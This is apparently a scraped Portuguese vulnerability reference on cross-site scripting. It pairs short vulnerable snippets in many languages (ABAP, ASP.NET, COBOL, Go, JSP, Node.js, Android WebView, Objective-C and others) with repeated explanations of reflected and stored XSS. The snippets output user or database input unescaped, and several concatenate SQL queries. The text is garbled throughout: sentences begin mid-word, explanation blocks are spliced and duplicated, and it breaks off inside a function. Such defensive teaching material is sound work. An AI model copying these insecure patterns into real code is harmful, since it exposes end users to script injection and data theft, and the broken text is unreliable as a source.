eid, de uma solicitação HTTP e a exibe para o usuário.
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, de uma solicitação HTTP e a exibe para o usuário.
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.username, e o exibe ao usuário.
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username contiver metacaracteres ou código-fonte, ele será executado pelo navegador da Web.
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
Example 1, esse código se comporta corretamente quando os valores de name estão bem definidos, assim como caracteres alfanuméricos, mas não faz nada para verificar se há dados mal-intencionados. Mesmo lido do banco de dados, o valor deve ser devidamente validado, pois o conteúdo do banco de dados pode ser proveniente de dados fornecidos pelo usuário. Dessa forma, um invasor pode ter comandos mal-intencionados executados no navegador da Web do usuário, sem a necessidade de interagir com a vítima como na XSS Refletida. Esse tipo de ataque, conhecido como XSS Armazenada (ou Persistente), pode ser muito difícil de detectar, pois os dados são indiretamente fornecidos para a função vulnerável e também têm um impacto maior devido à possibilidade de afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos na solicitação HTTP e refletidos de volta na resposta HTTP. A XSS Refletida ocorre quando um invasor pode ter conteúdo perigoso distribuído a um aplicativo Web vulnerável e, em seguida, refletido de volta para o usuário e executado por seu navegador. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é postada publicamente ou enviada por email diretamente para a vítima. As URLs criadas dessa forma são a essência de muitos esquemas de phishing, nos quais o invasor convence a vítima a visitar a URL. Depois que o site refletir o conteúdo de volta para o usuário, ele será executado e poderá realizar várias ações, como encaminhar informações confidenciais particulares, executar operações não autorizadas no computador da vítima, etc.Example 2, o banco de dados ou outro armazenamento de dados pode fornecer dados perigosos ao aplicativo que serão incluídos no conteúdo dinâmico. Do ponto de vista do invasor, o melhor lugar para armazenar conteúdo mal-intencionado é em uma área acessível a todos os usuários, especialmente para aqueles com privilégios elevados, que são mais propensos a lidar com informações confidenciais ou realizar operações críticas.
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login e EmployeeID são controles de formulário definidos da seguinte maneira:Exemplo 2: O seguinte segmento de código ASP.NET mostra a maneira programática de implementar o
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1.
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Login contiver apenas texto alfanumérico padrão. Se Login tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web conforme este exibir a resposta HTTP.
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName é um controle de formulário definido da seguinte maneira:Exemplo 4: O seguinte segmento de código ASP.NET é funcionalmente equivalente ao
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3, mas implementa todos os elementos de formulário programaticamente.
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
Example 1 e no Example 2, esses exemplos de código funcionam corretamente quando os valores de name apresentam um comportamento satisfatório, mas não fazem nada para evitar na ausência desse comportamento. Mais uma vez, estes podem parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1 e no Example 2, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 3 e no Example 4, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.EID, de um formulário HTML e o exibe para o usuário.
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
EID contiver apenas texto alfanumérico padrão. Se EID tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web conforme este exibir a resposta HTTP.
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
Example 1, esse código funciona corretamente quando os valores de ENAME apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de ENAME é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de ENAME for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Armazenado, é especialmente insidioso porque o engano causado pelo armazenamento de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque afete vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente no Formulário HTML e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS armazenadas ocorrem quando um invasor eid, de um formulário da Web e a exibe para o usuário.
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Form.eid contiver apenas texto alfanumérico padrão. Se Form.eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web conforme este exibir a resposta HTTP.
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.user, de uma solicitação HTTP e o exibe para o usuário.
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user contiver apenas texto alfanumérico padrão. Se user tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web conforme este exibir a resposta HTTP.
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque a indireção causada pelo armazenamento de dados dificulta a identificação da ameaça e aumenta a possibilidade de o ataque afetar vários usuários. O XSS começou dessa forma, com sites que ofereciam um "livro de visitas" aos visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações XSS refletidas ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor poderá executar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais pertencentes ao usuário.eid, de uma solicitação HTTP e a exibe para o usuário.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url começar com javascript:, o código JavaScript seguinte será executado no contexto da página da Web dentro de WebView.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.Example 3, uma fonte externa ao aplicativo armazena dados perigosos em um banco de dados ou outro repositório de dados, e esses dados perigosos são posteriormente lidos de volta para o aplicativo como dados confiáveis e incluídos no conteúdo dinâmico.eid, a partir de uma solicitação HTTP e a exibe ao usuário.
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.eid, de uma solicitação de servlet HTTP e, em seguida, exibe o valor de volta para o usuário na resposta do servlet.
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid contiver apenas texto alfanumérico padrão. Se eid tiver um valor que inclui metacaracteres ou código-fonte, o código será executado pelo navegador da Web quando ele exibir a resposta HTTP.
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 1, esse código funciona corretamente quando os valores de name apresentam comportamento satisfatório, mas não faz nada para evitar explorações na ausência desse comportamento. Mais uma vez, esse código pode parecer menos perigoso porque o valor de name é lido de um banco de dados, cujo conteúdo é aparentemente gerenciado pelo aplicativo. No entanto, se o valor de name for proveniente de dados fornecidos pelo usuário, o banco de dados poderá ser um canal de conteúdo mal-intencionado. Sem a devida validação de entrada em todos os dados armazenados no banco de dados, um invasor pode executar comandos mal-intencionados no navegador da Web do usuário. Esse tipo de exploração, conhecido como XSS Persistente (ou Armazenado), é particularmente traiçoeiro porque o desvio causado pelo repositório de dados dificulta a identificação da ameaça e aumenta a possibilidade de que o ataque possa afetar vários usuários. A XSS teve seu início dessa maneira, com sites que ofereciam um "livro de visitas" para os visitantes. Os invasores poderiam incluir JavaScript em suas entradas no livro de visitas, e todos os visitantes subsequentes desse livro executariam o código mal-intencionado.
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url começar com javascript:, o código JavaScript seguinte será executado no contexto da página da Web dentro de WebView.Example 1, os dados são lidos diretamente na solicitação HTTP e refletidos de volta na resposta HTTP. As explorações de XSS Refletida ocorrem quando um invasor induz o usuário a fornecer conteúdo perigoso a um aplicativo da Web vulnerável, que é refletido de volta ao usuário e executado pelo navegador da Web. O mecanismo mais comum para a distribuição de conteúdo mal-intencionado é incluí-lo como um parâmetro em uma URL que é veiculada publicamente ou enviada por email diretamente para as vítimas. As URLs construídas dessa maneira constituem o núcleo de muitos esquemas de phishing, de acordo com os quais um invasor convence as vítimas a visitarem uma URL que as direciona para um site vulnerável. Depois que o site reflete o conteúdo do invasor de volta ao usuário, o conteúdo é executado e passa a transferir informações privadas, como cookies que podem incluir informações da sessão, do computador do usuário para o invasor ou executar outras atividades nefastas.Example 2, o aplicativo armazena dados perigosos em um banco de dados ou em outro repositório de dados confiável. Esses dados perigosos são posteriormente lidos de volta para o aplicativo e incluídos no conteúdo dinâmico. Explorações de XSS Persistente ocorrem quando um invasor injeta em um repositório de dados um conteúdo perigoso que, mais tarde, é lido e incluído no conteúdo dinâmico. Na perspectiva de um invasor, o lugar ideal para injetar o conteúdo mal-intencionado é em uma área que é exibida para muitos usuários ou para usuários de interesse particular. Esses usuários de interesse normalmente têm privilégios elevados no aplicativo ou interagem com dados confidenciais que são valiosos para o invasor. Se um desses usuários executar conteúdo mal-intencionado, o invasor talvez seja capaz de realizar operações privilegiadas em nome do usuário ou obter acesso a dados confidenciais que pertencem a ele.Example 3, uma fonte externa ao aplicativo armazena dados perigosos em um banco de dados ou outro repositório de dados, e esses dados perigosos são posteriormente lidos de volta para o aplicativo como dados confiáveis e incluídos no conteúdo dinâmico.myapp://input_to_the_application). Os dados não confiáveis na URL são então utilizados para renderizar a saída HTML em um componente WebView.
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
